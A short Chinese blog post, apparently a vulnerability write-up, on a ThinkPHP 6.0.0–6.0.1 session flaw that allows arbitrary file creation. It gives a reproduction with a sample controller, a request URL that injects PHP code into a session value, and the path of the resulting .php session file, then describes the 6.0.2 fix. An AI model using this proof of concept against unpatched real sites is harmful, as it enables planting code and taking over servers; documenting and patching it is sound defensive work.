Thinkphp6 session 任意文件创建漏洞POC

2020年1月13号,Thinkphp 6.0.2发布,在详情页指出修复了一处Session安全隐患。经分析,该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。具体受影响版本为ThinkPHP6.0.0-6.0.1。

漏洞复现

在index控制器中添加如下action

public function testsession2(){
    $username = Request::get('name');
    Session::set('username', $username);
    return 'hi';
}

用于获取name参数,并将之设置到session中。访问url:

http://www.xxxx.com/tp6/public/index.php/index/testsession2?name=<?php%20phpinfo();?>

访问session文件,一般位于项目根目录下的./runtime/session/文件夹下,也就是/runtime/session/sess_1234567890123456789012345678.php

修复方法

在6.0.2中,对session id使用了ctype_alnum()进行了判断,导致无法传递.等特殊字符,从而无法控制session文件为.php后缀。直接更新thinkphp6版本即可。

文 / Aex
LEAVE A REPLY
loading